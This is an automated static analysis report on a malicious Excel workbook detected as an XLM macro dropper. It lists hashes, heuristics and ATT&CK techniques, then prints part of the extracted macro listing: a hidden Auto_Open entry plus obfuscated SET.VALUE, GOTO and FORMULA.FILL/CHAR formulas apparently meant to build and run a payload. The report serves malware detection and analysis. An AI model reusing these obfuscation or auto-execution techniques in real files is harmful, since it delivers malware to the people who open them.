Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fabb893b5f50063…

MALICIOUS

Office (OLE)

173.0 KB Created: 2020-05-13 06:49:08 Authoring application: Microsoft Excel First seen: 2020-08-25
MD5: 4bab5f92fc74ae52fe2c85cffa3a5c69 SHA-1: ff5f5782533b80b8737fe621cd2cfbc28ba37edd SHA-256: 3fabb893b5f500639bf8f8c65e728a06145e9df47f7edcd56a561d3dcf18f836
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open macro. This macro uses dangerous functions like RUN (ID 28) and SET.VALUE, indicating it is designed to execute arbitrary code. The specific commands like SET.VALUE and GOTO suggest it's attempting to manipulate the spreadsheet environment to achieve its execution goals, likely to download and run a secondary payload. The ClamAV detection further supports its malicious nature.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-8831660-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-8831660-0
  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 129810 bytes
SHA-256: 3ba844c4aba5b7ccb269fb6a540d9011a0a4028bdf5e21077e6caf7e9fdbf026
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!ES43265 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,CK52,"",548.00000000000000000000
'  Sheet,JL79,"",0.10688836104513063652
'  Sheet,GI82,"",-0.02763080540858318598
'  Sheet,CF86,"",1.82539682539682535101
'  Sheet,DR116,"",269.00000000000000000000
'  Sheet,GQ128,"",-371.00000000000000000000
'  Sheet,B138,"",-0.37500000000000000000
'  Sheet,IX154,"",-2.88000244140624994671
'  Sheet,HV215,"",-13.00000000000000000000
'  Sheet,ET392,"",390.00000000000000000000
'  Sheet,JN410,"",150.00000000000000000000
'  Sheet,BK433,"",-1.63809523809523804871
'  Sheet,HV520,"",-2.40000122070312515987
'  Sheet,W568,"",438.00000000000000000000
'  Sheet,IL585,"",2.84337349397590344324
'  Sheet,G632,"",0.85087719298245612087
'  Sheet,IU666,"",203.00000000000000000000
'  Sheet,GG686,"",-0.36666666666666664076
'  Sheet,GA710,"",-365.00000000000000000000
'  Sheet,JI723,"",-223.00000000000000000000
'  Sheet,BA725,"",-324.00000000000000000000
'  Sheet,FF754,"",0.56756756756756754356
'  Sheet,BG776,"SET.VALUE(IV37327,-55.00000000000000000000-GET.CELL(8,V54075)*2)",""
'  Sheet,BG777,GOTO(GM24969),""
'  Sheet,HH795,"",-488.00000000000000000000
'  Sheet,IF796,"",-2.07692207692307695410
'  Sheet,BZ810,"",-605.00000000000000000000
'  Sheet,BC812,"",-1.10091743119266061157
'  Sheet,HK821,"",-2074.00000000000000000000
'  Sheet,BB842,"",-0.39166666666666666297
'  Sheet,FN845,"",-6.77500488281249957367
'  Sheet,GA897,"",-260.00000000000000000000
'  Sheet,CN951,"",-14.00000000000000000000
'  Sheet,DK1059,"",0.07518796992481202590
'  Sheet,Z1087,"",1.77777777777777767909
'  Sheet,P1138,"",-355.00000000000000000000
'  Sheet,IO1164,"",0.10677083333333332871
'  Sheet,M1194,"",-0.14325942696629212492
'  Sheet,BM1250,"",390.00000000000000000000
'  Sheet,IW1271,"",-232.00000000000000000000
'  Sheet,EK1360,"",-0.28782287822878227512
'  Sheet,ET1370,"",-0.31460674157303369913
'  Sheet,GY1439,"",-417.00000000000000000000
'  Sheet,CY1476,"",56.00000000000000000000
'  Sheet,JQ1505,"",-583.00000000000000000000
'  Sheet,FQ1527,"",0.29239766081871343406
'  Sheet,IK1570,"",273.00000000000000000000
'  Sheet,HS1579,"",-0.70238095238095232808
'  Sheet,BY1612,"",1.73214285714285720630
'  Sheet,BA1628,"",2.93069306930693063151
'  Sheet,S1648,"",1751.00000000000000000000
'  Sheet,CB1661,"",-0.04098765432098765149
'  Sheet,IT1671,"",0.50000000000000000000
'  Sheet,JM1721,"FORMULA.FILL(CHAR(IV37327-G47570)&CHAR(GX42141*ET45352)&CHAR(BH17199/O61502)&CHAR(BH17199+FZ44456)&CHAR(EJ21758+IP9433)&CHAR(EI57931*EX55936)&CHAR(HZ11733-HT55584)&CHAR(IV37327/HS1579)&CHAR(EI57931-BK61467)&CHAR(BH17199-HE59727)&CHAR(EW65119-IB24422)&CHAR(EJ21758-FC47528)&CHAR(EW65119+GA48612)&CHAR(BH17199-IE61426)&CHAR(ID9396*EB50728)&CHAR(BH17199+CE35090)&CHAR(ID9396-F52441)&CHAR(HZ11733*A40998)&CHAR(EH38570-GW3922)&CHAR(IV37327+HK19632)&CHAR(HZ11733/G632)&CHAR(HZ11733*CZ30579)&CHAR(GX42141/EC62894)&CHAR(HZ11733+BC19165)&CHAR(ID9396*IY46281)&CHAR(FV46573+CL23529)&CHAR(HZ11733-DY53734)&CHAR(FV46573-BC52790)&CHAR(GX42141-HI52380)&CHAR(ID9396+GN31063)&CHAR(ID9396*EI57877)&CHAR(ID9396+JC18305)&CHAR(ID9396*DA35308)&CHAR(EW65119*FQ55963)&CHAR(ID9396/EZ29834)&CHAR(FV46573/JA30537)&CHAR(EH38570*GW7320)&CHAR(EI57931*ES57032)&CHAR(HZ11733+CA27177)&CHAR(FV46573*GO40231)&CHAR(EJ21758/ET63821),GQ33590)",""
'  Sheet,JM1722,GOTO(IZ1958),""
'  Sheet,FZ1739,"",0.11401425178147268913
'  Sheet,EX1786,"",-0.63440860215053762605
'  Sheet,DI1794,"",255.00000000000000000000
'  Sheet,GV1883,"",-2075.00000000000000000000
'  Sheet,BZ1895,"",-247.00000000000000000000
'  Sheet,EN1922,"",285.00000000000000000000
'  Sheet,IZ1958,"FORMULA.FILL(CHAR(GX42141-CT60661)&CHAR(EH38570/DG11786)&CHAR(EI57931/L340
... (truncated)

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